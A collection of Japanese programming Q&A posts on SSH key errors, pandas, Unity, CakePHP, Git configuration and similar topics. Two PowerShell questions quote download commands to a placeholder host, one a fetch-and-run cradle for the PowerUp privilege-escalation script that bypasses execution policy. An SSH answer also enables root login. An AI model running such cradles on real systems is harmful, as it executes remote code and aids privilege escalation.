question
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"body": "### 目標\n\nSSH接続を行う\n\n### 現状\n\nmac \nVPS(Vultr),OSはCentOS\n\nクライアントから、VPSにSSH接続を行ったところ以下のエラーが表示され接続できない。\n\n```\n\n Permission denied (publickey,gssapi-keyex,gssapi-with-mic).\n \n```\n\nサーバー側の鍵の設定とクライアント側の鍵の設定を変更したが、正しいか分からない。\n\n現状はこうなっています\n\n**クライアント側**\n\n```\n\n -rw------- id_rsa\n -rw-r--r-- id_rsa.pub\n \n```\n\n**サーバー側**\n\n```\n\n -rw------- authorized_keys\n -rw------- id_rsa\n -rw-r--r-- id_rsa_pub\n \n```\n\n対応方法がわかる方がいましたら回答よろしくお願いします",
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"title": "SSH接続をすると、Permission deniedとなり接続できない",
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"body": "`id_rsa` は秘密鍵です。一般論として **秘密鍵は生成したマシンから外に持ち出すべきではありません** 。つまり、サーバー・クライアント両側に\n`id_rsa` が存在する時点で、適切な手順ではないことが推測されます。 \nVPS提供者が提示する手順に従ってファイル配置してください。",
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"body": "以下の手順でたぶん登録できます、試してください。\n\n1、 まずキーを作るので \nssh-keygenコマンドで生成して\n\n2、生成できたid_rsa.pubをサーバー側authorized_keysに追加\n\n```\n\n ~/.ssh/cat id_rsa.pub >> ~/.ssh/authorized_keys\n \n```\n\n3、サーバー側に権限をつける\n\n```\n\n [root@host .ssh]$ chmod 600 authorized_keys\n [root@host .ssh]$ chmod 700 ~/.ssh\n \n```\n\n4、サーバー側の/etc/ssh/sshd_configを編集\n\n```\n\n RSAAuthentication yes\n PubkeyAuthentication yes\n PermitRootLogin yes #rootで登録必要の場合に使う\n \n```\n\n5、最後にサーバー側ssh再起動\n\n```\n\n [root@host .ssh]$ service sshd restart\n \n```\n\n6、クライアント側はid_rsaを持っていれば登録可能です\n\n```\n\n ~/.ssh/id_rsa\n \n```",
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"body": "pandasに限らないと思うのですが、大きなサイズのdataframeを扱う場合、加工後は代入して使いまわしたほうが良いのでしょうか?\n\n```\n\n df = df.drop()\n または\n df2 = df.drop()\n \n```\n\n補足 \n代入したほうがガベージコレクションによってメモリを開放してくれるのかなと思いました。",
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"title": "pandas dataframeはなるべく使いまわしたほうが良いのでしょうか?",
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"body": "代入した方が可読性を保ちやすいと思います。 \nまた、処理上、不要になったdfは削除することでメモリを節約できるのではないでしょうか?",
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"body": "まずは、一般的な話をします。\n\n * 副作用が無い。\n * 処理が重い。\n * 最適化がされない。\n\nこのような場合は、一時的な変数に入れた方が計算量的に有利な場合が多いです。\n\n* * *\n\n質問であげている[pandas.DataFrame.drop](https://pandas.pydata.org/docs/reference/api/pandas.DataFrame.drop.html)をみると、引数で`inplace=True`を指定しない限り、元のデータは変更されない、つまり、副作用が無いとなります。また、列や行を削除するという処理は(先頭や最後の場合を除いて)かなり重い処理です。最後に、Pythonはコンパイル言語ではないため、最適化もされません。よって、このような場合は使い回した方が良いでしょう。\n\nなお、ガベコレの話をしていますが、変数に代入することで、変数が生きている内はガベコレに回収されなくなると言うだけです。一旦代入しておかないとガベコレによって回収されないわけではありません。それとも、もとの`df`に入っていたデータを消したいというのであれば、`inplace=True`を使った方が良いかもしれません。どちらにしても、Pythonのようなガベコレがある言語では、通常のローカル変数に入っているデータはすぐに寿命が無くなって勝手に消えるので、グローバル変数やインスタンス変数でない限り、それほど気にしても余り意味が無い(もっと違う所に注意を向けるべき)かと思います。グローバル変数やインスタンス変数は、その値はどうあるべきかという意味論になるので、代入するしないは別次元の話になると思います。\n\n* * *\n\nなお、変数に入れない方が良いというのもあります。もし、副作用があるのであれば、呼び出す回数によって結果が変わるため、そもそも代入した場合、代入しなかった場合が同じ結果になりません。また、Cの配列のインデクスアクセスとか、JavaScriptのプロパティアクセスなどは、変数アクセスとほぼ変わらない処理速度なので、代入する方が無駄とかあります。他にも、C++等のコンパイルする言語では、副作用が無いことがわかっている場合に最適化によって処理が一回しか行わないようにする、つまり、代入に入れた場合と同じような処理をする事もあります。その場合は、無理に変数に代入しない方が場合もあります。",
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"body": "VisualStudio2015のパフォーマンスプロファイラーを使用しています。 \nCPU使用率をプロファイルしたいです。\n\nPC起動後、初回のプロファイルは成功するのですが、 \n2回目以降のプロファイル結果が、「プロファイル対象のアプリ名.exe(PID:###)」しか表示されません。 \nexeの横に折り畳み制御の三角ボタンも出てきません。詳細な関数名の表示が出来ず困っています。\n\n初回のプロファイル時のみ \n「このアプリがデバイスに変更を加えることを許可しますか? \nVSStandardCollector.exe」 \nの警告が表示され、 \n「はい」を選択するとプロファイルに成功するので \nVSStandardCollector.exeが2回目以降正常に起動できていない感じではあるのですが…。\n\n同じような現象になったことある方いらっしゃるでしょうか。 \n解決方法を教えていただきたいです。\n\nちなみにVisualStudio2019では問題なくプロファイル出来ています。",
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"title": "VisualStudio2015にてパフォーマンスプロファイラーが正常に実行されない不具合",
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"body": "Spresenseでダイナミックスピーカーを使って音を鳴らしたいのですが,Arduinoのようにアナログピンに刺しても音が鳴りませんでした.デジタル端子として使用できないとのことなので,なるほどとは思いました. \nでは,どこに刺したらスピーカーを使用することができるのでしょうか.",
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"title": "Spresenseでスピーカーを使う方法",
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"body": "その音を鳴らすというプログラムが、どこのピンにどう言う風にして鳴らすのを想定しているのか、によりつなぐピン/回路が変わってきます。\n\nってことで、その鳴らすプログラムがどういうコードになっているのか、を読むことです。",
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"body": "他のコメントにあるとおり、プログラムで出力しているポートとあっていますかね。\n\nやりたいイメージとあっているかわかりませんが、もしダイナミックスピーカーなどをつないで関数操作で鳴らすのであれば、スピーカの端子をGND端子とPWM出力可能なD<番号>のデジタルポート端子に接続して、Arduinoのtone()やanalogWrite()関数に接続したピン番号を引数に指定すれば実現できると思います。\n\nspresense PWMの出力ポートについて: \n<https://developer.sony.com/develop/spresense/docs/arduino_developer_guide_ja.html#_analogwrite>",
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"body": "初歩的な質問で申し訳ありません。\n\nViewにて FormHelper::postLink()メソッドを使用しリンクを生成 \nしたのですが、Contorollerの対応するメソッドが実行できず、 \nトップページに戻ってしまいます。\n\nV **iew記述部**\n\n```\n\n <?php echo $this->Form->postLink('出力', array('action' => 'CsvTest', '?' => $this->request->query)); ?>\n \n```\n\n**Controller記述部**\n\n```\n\n public function CsvTest(){\n // 処理ロジック\n }\n \n```\n\n原因や対処方法など、ご存知の方いらっしゃいましたら、ご教示いただけたら非常にありがたいです。\n\nどうぞ、よろしくお願い致します。\n\n<各バージョン> \nPHP 5.4.16 \nCakePHP 2.10.12\n\n※ teratail でも [同じ質問](https://teratail.com/questions/qkkcpqb2fhn8w6)\nをさせていただいております。",
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"title": "CakePHP2 で Contollerに追加したメソッドがViewから実行できない",
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"body": "公式のスタートガイドに従ってインストールしてみるもブートローダーの書き込みができない。長々と書き込み中の表示が出て30分くらいしてようやく書き込み中にエラーが発生しましたと出て終わり。 \nどこが間違っているのか、何が原因なのか教えていただきたいです。",
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"title": "spresenseのブートローダーの書き込みができない",
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"body": "USBシリアルドライバーが最新のだとうまくいかないケースもあるようです。 \nそこはどうでしょうか?\n\n[https://developer.sony.com/develop/spresense/docs/arduino_set_up_ja.html#_usb_ドライバのインストール](https://developer.sony.com/develop/spresense/docs/arduino_set_up_ja.html#_usb_%E3%83%89%E3%83%A9%E3%82%A4%E3%83%90%E3%81%AE%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB)",
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"body": "Unityで開発しております。 \nWebCamTextureを使用し、端末カメラのTextureをキャプチャーして \n動画を作成しております。 \nしかし、WebCamTextureで撮影した映像が上下反転しています。 \n表示の上下を反転させるならスケールや回転を使用すれば上下反転できますが、 \nキャプチャーした映像は上下逆のままです。\n\n以下の方法ではGameObjectが回転するだけで、Textureが回転しているわけではないので \nキャプチャした「_cameraScreen.texture」は上下反転したままでした。\n\n```\n\n //canvas中のrawImage\n [SerializeField] private RawImage _cameraScreen = null;\n // webカメラ表示テクスチャ\n private WebCamTexture _webCam = null;\n \n // Image rotationの初期値\n private Vector3 _rotationVector = new Vector3(0f, 0f, 0f);\n \n // 画像自体の向き\n private Rect _defaultRect = new Rect(0f, 0f, 1f, 1f);\n private Rect _flipedRect = new Rect(0f, 1f, 1f, -1f);\n \n // RawImageのテクスチャにWebCamTextureのインスタンスを設定\n _cameraScreen.texture = _webCam;\n \n // 表示するRawImageを回転させる\n Vector3 l_angles = _cameraScreen.GetComponent<RectTransform>().eulerAngles;\n l_angles.z = -_webCam.videoRotationAngle;\n _cameraScreen.GetComponent<RectTransform>().eulerAngles = l_angles;\n \n // 映像のz軸を反転させる(逆さまにする)\n _rotationVector.z = -_webCam.videoRotationAngle;\n _cameraScreen.rectTransform.localEulerAngles = _rotationVector;\n \n // 上下反転してしまっている画像はもとに戻す\n _cameraScreen.uvRect = _webCam.videoVerticallyMirrored ? _flipedRect : _defaultRect;\n \n```\n\nそのためTexture自体の上下を反転させたいのですが、 \n方法を教えてください。\n\n環境 \nUnity2020.3.1f1 \niPad(第7世代) \nOS16.3\n\n以下にも同じ投稿をしております。 \n<https://teratail.com/questions/3qpqocucwoyhlx>",
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"title": "Texture自体の上下を反転させたい",
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"body": "WebでSVGを取り扱う際、下記いずれが適切ですか? \n・SVGタグデータ毎MySQLへ保存 \n・SVGファイルとして保存\n\nそれぞれメリットデメリットを知りたい。\n\nSVGファイルのサイズ例 \n968KB\n\n環境 \nPHP 7.2 \nMySQL5.7",
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"title": "WebでSVGを取り扱う際、SVGタグデータをデータベースへ保存した方がよいか、あるいはSVGファイルとして保存した方がよいか",
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"body": "SVGかどうかに関係なく一般的な判断として\n\n * データベースと無関係に更新されるなら、データベースに含めるべきでない\n * データベースと連動して更新されるなら、データベースに含めるべきである\n\nだけかと。SVGはXML形式ですし、MySQLには[XML関数](https://dev.mysql.com/doc/refman/8.0/ja/xml-\nfunctions.html)が用意されているため、必要に応じてSVGをMySQL内で更新できるはずです。\n\nですが、質問文にはXMLという語が登場しないどころかSVGタグまで付けられていることから推測するに、前者ではないでしょうか。",
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"body": "SVG に限った話ではありませんが、懸念している内容は「SQL アンチパターン」「ファントムファイル」辺りで調べてもらうと解説記事が出てきます。(SQL\nアンチパターンが書籍名になります)\n\nかいつまんで抜き出してみると…\n\n#### ファイルパスを保存するパターン\n\n * 「DB のレコード」もしくは「実際のファイル」どちらか一方のみが削除されて整合性が保たれない可能性がある (孤児のファイル = ファントムファイルが発生する)\n * (VPS などを利用する場合には) DB サーバは高価で、Amazon S3 などストレージサービスの方が安価なケースが多い\n\n#### BLOB 形式で直接保存するパターン\n\n * 登録するデータサイズによっては、処理速度やバックアップの処理時間等に影響を与える可能性がある\n\n**参考:**\n\n * [SQLアンチパターン ファントムファイルに立ち向かう](https://bluerabbit.hatenablog.com/entry/2015/03/29/214639)\n * [SQLアンチパターン ファントムファイル](https://qiita.com/fktnkit/items/cc811929485471897c89)\n * [ファントムファイル](https://www.souya.biz/blog/2020/06/11/%E3%83%95%E3%82%A1%E3%83%B3%E3%83%88%E3%83%A0%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB/)",
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"body": "下記2つのコマンドにおいて、`net.webclient` は `system.net.webclient`\nの省略形でありいずれも同じと考えてよいでしょうか。\n\n```\n\n powershell -c (new-object system.net.webclient).downloadfile('http://<IP>:<Port>/<File Name>','C:\\<Path>\\to\\<File Name>')\n \n```\n\n```\n\n powershell -c (new-object net.webclient).downloadfile('http://<IP>:<Port>/<File Name>','C:\\<Path>\\to\\<File Name>')\n \n```",
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"title": "名前空間 net.webclient は system.net.webclient の省略形であり、同じものですか?",
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"body": "はい、PowerShellにおいて、名前空間`System`は省略可能です。そのため、`Net.WebClient`は`System.Net.WebClient`として扱われます。\n\nなお、PowerShellにおいてファイルのダウンロードは[`Invoke-\nWebRequest`](https://learn.microsoft.com/ja-\njp/powershell/module/microsoft.powershell.utility/invoke-\nwebrequest?view=powershell-5.1)が利用でき\n\n```\n\n Invoke-WebRequest 'http://<IP>:<Port>/<File Name>' -OutFile 'C:\\<Path>\\to\\<File Name>'\n \n```\n\nと書けます。",
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"body": "色、形状などを基に、セマンティックセグメンテーションを行いたいです。現在はU-\nNetを使うつもりです。ただし、色の区別をマルチクラスセグメンテーションを使ってしたくないので、その方法を教えていただきたいです。\n\n例えば、黄色、赤色、青色のコインのピクセルを抽出したいときに、黄色のコインのアノテーションだけを使って形態やテクスチャを学習させ、あとから色閾値を入力することで赤や青にも対応できるようにしたいです。\n\n今持ってるデータだけではこの先使いうる全ての色を網羅できていないのと、色数が多く、いちいちラベルしていられないからです。\n\nRGBを入れ替えたり、値を補正するなど、前処理を工夫することでそれなりにはできたのですが、データサイズがかなり大きいため、そのような処理もできるだけしたくないと思っています。もっとシンプルな方法はないでしょうか・\n\n他の戦略や似たような例を教えていただけると幸いです。 \nよろしくお願いします。",
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"title": "指定した色の構造物を、U-Netで抽出したい",
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"body": "```\n\n lists = { ('田中', '山田 '): { '鈴木 ', '佐藤 ' },('伊藤', '鈴木 '): { '佐藤', '山田' },('佐藤', '田中 '): { '鈴木 ' }}\n \n```\n\n上記のようなリストを与えられたとき ('田中', '山田 '): { '鈴木 ', '佐藤 '\n}のように():{}をひとまとまりにして{}ないを()の監督にしたいです。\n\n```\n\n lists = { ('田中', '山田 '): { '佐藤 ' },('伊藤', '鈴木 '): {'山田' },('佐藤', '田中 '): { '鈴木 ' }}\n \n```\n\nこのように監督はいわゆるキーとして設定したいため、重複している要素を取り除きたいです。\n\nimportはなしでお願いします\n\n手順:\n\n```\n\n #入力リスト\n lists = { ('田中', '山田 '): { '鈴木 ', '佐藤 ' },('伊藤', '鈴木 '): { '佐藤', '山田' },('佐藤', '田中 '): { '鈴木 ' }}\n \n #リスト内で重複していてペアがいるものを探してもしいたら消す。\n #この場合リスト{'鈴木 '}を消してしまうとリストの数が減ってしますので{'鈴木 ', '佐藤 '}の'鈴木'をけす。\n lists = { ('田中', '山田 '): { '佐藤 ' },('伊藤', '鈴木 '): { '佐藤', '山田' },('佐藤', '田中 '): { '鈴木 ' }}\n \n #上記のことを繰り返す。\n #この場合リスト('G')を消してしまうとリストの数が減ってしますので('G', 'J')の'G'をけす。\n lists = { ('田中', '山田 '): { '佐藤 ' },('伊藤', '鈴木 '): {'山田' },('佐藤', '田中 '): { '鈴木 ' }}\n \n```\n\n上記の手順をいくつかの同じようなリストで試せるようにしたいです。 \nまた、以下のような一意にできないリストの場合はNoneを返したいです。\n\n```\n\n liats = { ('田中', '鈴木 '): { '佐藤 ', '伊藤' },\n ('佐藤', '山田 '): { '伊藤', '田中' },\n ('伊藤', '田中'): { '佐藤 ' },\n ('山田 ', '田中'): set()}\n \n```\n\n長くなりましたがよろしくお願いします。♂️",
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"title": "pythonでキー値とペアの製作、編集",
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"body": "```\n\n # 複数の VALUE の要素に存在する VALUE の要素を抽出\n def multi_vals(dic):\n vals = sum(map(list, dic.values()), [])\n return [v for v in set(vals) if vals.count(v) > 1]\n \n # すべての VALUE の要素が1個で同じものがなければ true\n def one_val_dic(dic):\n lst = [*dic.values()]\n return all(len(v) == 1 == lst.count(v) for v in dic.values())\n \n # VALUE の要素数を1にする(VALUE 内要素が他の VALUE 内にあれば、この重複を削除する)\n def to_oneval_dic(dic):\n def reduce_dic(dic_, v):\n dic = dic_.copy()\n for k in dic.keys():\n if len(dic[k]) > 1 and v[0] in dic[k]:\n dic[k] = dic[k]-{v[0]}\n if (vals:=multi_vals(dic)):\n dic = reduce_dic(dic, vals)\n if dic and one_val_dic(dic):\n return dic\n dic = dic_.copy()\n return None\n return dic if one_val_dic(dic) else reduce_dic(dic, multi_vals(dic))\n \n dic = {('田中','山田'):{'鈴木','佐藤'},('伊藤','鈴木'):{'佐藤','山田'},('佐藤','田中'):{'鈴木'}}\n dic2 = to_oneval_dic(dic)\n print(dic2) # {('田中','山田'):{'佐藤'},('伊藤','鈴木'):{'山田'},('佐藤','田中'):{'鈴木'}}\n \n```",
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"body": "Jupyter Labで下記のコードを実装したのですが、コードの下に添付してあるエラーが出てしまい、正常に実行することが出来ません。 \nPython3を使用していて、chainerのバージョンは4.0.0、chainerrlのバージョンは0.3.0を使用しています。\n\nよろしくお願いいたします。\n\n**エラー:**\n\n```\n\n Traceback (most recent call last):\n \n File ~\\anaconda3\\lib\\site-packages\\IPython\\core\\interactiveshell.py:3505 in run_code\n exec(code_obj, self.user_global_ns, self.user_ns)\n \n Cell In[1], line 7\n import chainerrl\n \n File ~\\anaconda3\\lib\\site-packages\\chainerrl\\__init__.py:3\n from chainerrl import agents # NOQA\n \n File ~\\anaconda3\\lib\\site-packages\\chainerrl\\agents\\__init__.py:1\n from chainerrl.agents.a3c import A3C # NOQA\n \n File ~\\anaconda3\\lib\\site-packages\\chainerrl\\agents\\a3c.py:17\n from chainerrl.misc import async\n ^\n SyntaxError: invalid syntax\n \n```\n\n**コード:**\n\n```\n\n import numpy as np\n import cv2\n import chainer\n import chainer.functions as F\n import chainer.links as L\n import chainerrl\n import copy\n \n MAP_X = 10\n MAP_Y = 10\n \n \n MAP = np.array([\n -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,\n -1, 0, 0, 0, -1, 0, 0, 0, 0, -1,\n -1, 0, -1, 0, 0, 0, -1, -1, 0, -1,\n -1, 0, -1, -1, 0, -1, -1, 0, 0, -1,\n -1, -1, -1, 0, 0, 0, -1, -1, 0, -1,\n -1, 0, -1, 0, -1, 0, -1, 0, 0, -1,\n -1, 0, 0, 0, -1, 0, 0, 0, -1, -1,\n -1, 0, -1, 0, -1, -1, 0, -1, -1, -1,\n -1, 0, 0, 0, -1, 0, 0, 0, 1, -1,\n -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,\n ], dtype=np.float32)\n \n img = np.zeros((480,640,1), np.uint8)\n font = cv2.FONT_HERSHEY_SIMPLEX\n \n pos = 12\n pos_old = pos\n \n def reset():\n global pos, pos_old\n pos = 12\n pos_old = pos\n \n \n def step(act):\n global pos, pos_old\n pos_old = pos\n x = pos%MAP_X\n y = pos//MAP_X\n if (act==0):\n y = y-1\n elif (act==1):\n x = x + 1\n elif (act==2):\n y = y + 1\n elif (act==3):\n x = x - 1\n if (x<0 or y<0 or x>=MAP_X or y>=MAP_Y):\n pos = pos_old\n reward = -1\n else:\n pos = x+y*MAP_X\n reward = MAP[pos]\n return reward\n \n def random_action():\n act = np.random.choice([0, 1, 2, 3])\n return act\n \n def get_action():\n global pos\n epsilon = 0.01\n if np.random.rand()<epsilon:\n return random_action()\n else:\n a = np.where(QV[pos]==QV[pos].max())[0]\n return np.random.choice(a)\n \n def UpdateQTable(act, reward):\n global pos, pos_old, QV\n alpha = 0.2\n gamma = 0.9\n maxQ = np.max(QV[pos])\n QV[pos_old][act] = (1-alpha)*QV[pos_old][act]+alpha*(reward + gamma*maxQ);\n \n def disp():\n global pos\n img.fill(255)\n d = 480//MAP_X\n for s in range(0, MAP_X*MAP_Y):\n x = (s%MAP_X)*d\n y = (s//MAP_X)*d\n if MAP[s]==-1:\n cv2.rectangle(img,(x,y),(x+d,y+d),0,-1)\n cv2.rectangle(img,(x,y),(x+d,y+d),0,1)\n x = (pos%MAP_X)*d\n y = (pos//MAP_X)*d\n cv2.circle(img,(x+d//2,y+d//2),int(d//2*0.8),32,5)\n if (MAP[pos]==-1):\n cv2.circle(img,(x+d//2,y+d//2),int(d//2*0.8),224,5)\n else:\n cv2.circle(img,(x+d//2,y+d//2),int(d//2*0.8),32,5)\n map = copy.copy(MAP)\n for s in range(0, MAP_X*MAP_Y):\n x = (s%MAP_X)*d\n y = (s//MAP_X)*d\n tmp = map[s]\n map[s] = 10\n act = agent.act(map)\n map[s] = tmp\n cv2.putText(img,str('%d' % act),(x+1,y+d), font, 1,127,1)\n cv2.imshow('res',img)\n cv2.waitKey(1)\n \n \n class QFunction(chainer.Chain):\n def __init__(self, obs_size, n_actions, n_hidden_channels=256):\n super(QFunction, self).__init__(\n l0=L.Linear(obs_size, n_hidden_channels),\n l1=L.Linear(n_hidden_channels, n_hidden_channels),\n l2=L.Linear(n_hidden_channels, n_hidden_channels),\n l3=L.Linear(n_hidden_channels, n_actions))\n \n def __call__(self, x, test=False): \n h = F.leaky_relu(self.l0(x))\n h = F.leaky_relu(self.l1(h))\n h = F.leaky_relu(self.l2(h))\n return chainerrl.action_value.DiscreteActionValue(self.l3(h))\n \n q_func = QFunction(MAP_X*MAP_Y, 4)\n optimizer = chainer.optimizers.Adam(eps=1e-2)\n optimizer.setup(q_func)\n q_func.to_cpu()\n \n explorer = chainerrl.explorers.LinearDecayEpsilonGreedy(start_epsilon=1.0, end_epsilon=0.1, decay_steps=100, random_action_func=random_action)\n \n replay_buffer = chainerrl.replay_buffer.PrioritizedReplayBuffer(capacity=10 ** 6)\n \n gamma = 0.95\n \n agent = chainerrl.agents.DoubleDQN(\n q_func, optimizer, replay_buffer, gamma, explorer,\n replay_start_size=50, update_interval=1, target_update_interval=10)\n \n n_episodes = 100\n n_steps = 1000\n for i in range(1, n_episodes + 1):\n reset()\n reward = 0\n done = False\n for j in range(1, n_steps + 1):\n disp()\n map = copy.copy(MAP)\n map[pos] = 10\n action = agent.act_and_train(map, reward)\n reward = step(action)\n if (reward==1):\n done = True\n break\n print(i, j)\n map = copy.copy(MAP)\n map[pos] = 10\n agent.stop_episode_and_train(map, reward, done)\n \n agent.save('agent')\n \n```",
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"title": "Jupyter Lab でDQNで迷路探索のプログラムを実行しましたが、エラーが出てしまった。",
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"body": "Python3.7以降`async`は予約語になっているため提示エラーが発生します。 \n[Rename async module\n#285](https://github.com/chainer/chainerrl/issues/285)にて修正されているので、`chainerrl`を最新に更新すれば解消すると思われます。",
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"body": "Amazon EC2 上に Amazon Linux 2 を構築し、その上でApache2.4+PHP8.0(mod_php)を動作させています。 \nyumでインストールしたApacheであり、mpmはpreforkで動作しています。 \n自己証明書を作成しSSLでのリクエストも応答できるようにしました。\n\nこの時、自分のPCからHTTP経由でChrome開発者ツールでキャッシュ無効としてアクセスしたあるphpページ(システムのログインページ)表示の時間が35秒かかりました。 \nある事情により子プロセス数を1としているため、時間がかかることは承知の上です。\n\nですが、この時、HTTPSで同じくChrome開発者ツールでキャッシュ無効として同じURLにアクセス(違うのプロトコルのみ)すると、3.96秒で表示されます。\n\n順番を逆にしても何度か繰り返しても状況は変わりません。 \n何が原因か予測がつきますか?\n\nちなみに開発者ツールのネットワークタブで見ると一番時間がかかっているのはjquery.cookie.min.jsで、これ一つに35秒かかっています。サーバ内のアクセスlog上では208μsでレスポンスしているらしいです。他にも時間がかかっているファイルはありますが、jsやcssといった静的ファイルのみです",
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"title": "ApacheでHTTPリクエストの方がHTTPSリクエストより遅くなることはあるでしょうか?",
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"body": "WindowsのGitを使っています。 \nWindowsとWSLでgitの設定の共通化をするためにincludeを使おうとしたのですが、ホームディレクトリを示すはずの\"~\"が使えません。\n\n最小限の構成として、~/temp下に\n\n`.gitconfig`\n\n```\n\n [include]\n path = \"~/temp/config2\"\n \n```\n\n`config2`\n\n```\n\n [user]\n name = \"Git Tester\"\n \n```\n\nの2つのファイルを作成しました、\n\nさらに、コマンドラインで以下のコマンドを実行しました。\n\n```\n\n C: /temp > git init\n \n C: /temp > git config include.path ~/temp/config2\n \n C: /temp > git config --list\n core.repositoryformatversion=0\n core.filemode=false\n core.bare=false\n core.logallrefupdates=true\n core.symlinks=false\n core.ignorecase=true\n include.path=~/temp/config2\n \n C: /temp >\n \n```\n\n結果は上記の通りで、config2内の`user.name`が表示されません。\n\n環境は、\n\n * PowerShell 7.3.4\n * git version 2.40.1.windows.1\n\nです。\n\nなんとか、ホームディレクトリからの相対パスでファイルを指定する方法はないでしょうか",
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"title": "Git for Windowsのincludeセクションでpathを~を使って設定するとファイルを読み込まない",
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{
"body": "理由がわかりました、結論からいうと環境変数HOMEをXDG_CONFIG_HOMEと同じ、`~/.config`にしていたため参照先がずれていました。 \n軽く調べたものをまとめると、以下のようになります。\n\n環境変数`HOME` | $HOME | path=~/temp/config2の参照先 | 備考 \n---|---|---|--- \nなし | c:/Users/<ユーザ名> (PowerShell側で自動的に設定) | ~/temp/config2 | \nc:/Users/<ユーザ名> | c:/Users/<ユーザ名> | ~/temp/config2 | \nc:/Users/<ユーザ名>/.config | c:/<ユーザ名>/.config (PowerShell側では、`~/.config` |\n~/.config/temp/config2 | \n \nPowerShell側での`~`が`C:\\Users\\<ユーザ名>`のままだったので、そこをホームディレクトリとして読み込むと思っていましたが、環境変数として設定したHOMEのディレクトリを基準のホームディレクトリとして参照したため不整合が生じたようです。\n\n対策は、環境変数を設定せずシステムの設定に従うべきということですね\n\nXDG_BASE_DIRECTORY対応は、VIMなどのアプリごとやり直すことにします\n\n以上",
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"body": "標題の件、Google Apps Script稼働した時に下書きメール機能でエラーが出る事象についてお伺いいたします。\n\n現在、あるスプレットシート(同じ作りが複数あります)にボタンを追加して、押下するとGmailの下書きに本文が添えられるスクリプトを組んでいます。\n\nその中で、ボタンを押下しても実行中のまま、下書きメールが作成されないシートが複数あることが発生しました。\n\n具体的には、特定のファイルにおいてA1セルにあるボタン「下書きメール作成」を押下したものの、「スクリプトを実行しています」の画面から遷移しません。 \n(本来でしたら、実行後に下書きメールがGmailに自動的に格納される運用です)\n\n[![画像の説明をここに入力](https://i.stack.imgur.com/CJ6Mt.png)](https://i.stack.imgur.com/CJ6Mt.png)\n\nスクリプトの内容を調べたところ、対象のシートに「このスプリクトは、2023/03/30にRhinoからV8ランタイムに正常に移行されました」と表示され、実行するとエラーが出てしまう状況です。\n\n[![画像の説明をここに入力](https://i.stack.imgur.com/Z4Sdk.png)](https://i.stack.imgur.com/Z4Sdk.png) \n[![画像の説明をここに入力](https://i.stack.imgur.com/YDINe.png)](https://i.stack.imgur.com/YDINe.png)\n\nスプレットシートの詳細は、下記になります。\n\n[![画像の説明をここに入力](https://i.stack.imgur.com/pk9BL.png)](https://i.stack.imgur.com/pk9BL.png)\n\nまた、Chome V8ランタイムを無効にしようとしてもエラーが出ます。\n\n[![画像の説明をここに入力](https://i.stack.imgur.com/wZmeu.png)](https://i.stack.imgur.com/wZmeu.png)\n\n尚、日付はシートによっては異なっています。 \nまた、スプレットシートによっては、通常通りログが実行できます。\n\n原因としては、スクリプトのバージョンアップに伴って機能しなくなったと考えられます。 \n対象のシートは2017年11月に作成されたものですが、スクリプトは1度も手動で更新したことはございませんでした。\n\nつきましては、このスクリプトを再度使用できるための解決方法をご教授いただくことは可能でしょうか?\n\n以上、よろしくお願いします。",
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"title": "Google Apps Scriptでの下書きメール機能エラー関わる解決策について",
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"body": "単に「エラーが表示された」で終わらせず、エラーの内容を読む (理解しようとする) ところから初めてみてください。\n\n* * *\n\n#### 1点目\n\nエラーに \"ライブラリ (ID SpreadFunction) がありません。\"\nと表示されていますが、`SpreadFunction.SelectLastRow()` というメソッドはドキュメント等に見当たりません。\n\n下書きとは無関係に見えるので、いったんこの記述を削除してみるのが一つの方法です。\n\n#### 2点目\n\n「下書き」の方も `DraftMail.CreateDraftMail()` と記述されていますが、こちらもドキュメントを調べてみると現状は以下の通り\n`GmailApp.createDraft` のようです。\n\n<https://developers.google.com/apps-script/reference/gmail/gmail-\napp?hl=ja#createDraft(String,String,String)>\n\n> `createDraft(recipient, subject, body)`\n>\n> メールの下書きを作成します。メールのサイズ(ヘッダーを含む)は割り当て制限されます。\n```\n\n> // The code below creates a draft email with the current date and time.\n> var now = new Date();\n> GmailApp.createDraft(\"[email protected]\", \"current time\", \"The time is: \"\n> + now.toString());\n> \n```",
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"body": "ラズパイでキーボード、マウスが全く効かなくなってしまいました。効かなくなったというか、電力が供給されなくなりました。データの保存を行う前に効かなくなったので、できれば電源がついている状態でどうにかしたいです。 \n誰かこの状況を打開できる方法を教えて下さい。\n\n確認していること\n\n * HDMIは動作している\n * USBポートはどこも効かない\n\nやったこと\n\n * 一旦全て抜いて一つずつ差す(HDMIも)",
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"body": "まずは、SDカードを交換してイチからOSを入れ直してみましょう。 \nそれでキーボード/マウスが正常に動作する、というのであれば、ラズパイ自体の故障の可能性は排除することができるようになります。\n\nってことで、まずはそれをやってみて結果を報告するようにしましょう",
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"body": "powershellを使ってファイルを読み取り、Invoke-AllChecks関数を実行する場合、(new-object\nsystem.net.webclient)の前にiexを指定しますが(1つ目のコード)、ファイルをダウンロードする場合は、(new-object\nsystem.net.webclient)の前にiexを指定しなくてもよいのはなぜでしょうか。\n\n```\n\n powershell -nop -exec bypass -c \"iex(new-object system.net.webclient).downloadstring('http://<IP>:<Port>/PowerUp.ps1'); Invoke-AllChecks\"\n \n```\n\n```\n\n powershell -c (new-object system.net.webclient).downloadfile('http://<IP>:<Port>/<Filename>.exe','C:\\<Path>\\<Filename>.exe')\n \n```",
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"body": "PHP7.4で 下記エラーメッセージが表示されるのですが、どういう意味ですか?\n\n> Deprecated: Invalid characters passed for attempted conversion, these have\n> been ignored in hexdec \n> Deprecated: Invalid characters passed for attempted conversion, these have\n> been ignored in\n\n下記コード辺りに問題があるようにも思われのですが、どう修正すればよいですか?\n\n```\n\n $rgb[\"red\"] = hexdec(substr($colorcode, 0, 2));\n \n```",
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"title": "PHP7.4で Deprecated: Invalid characters passed for attempted conversion, these have been ignored in hexdec",
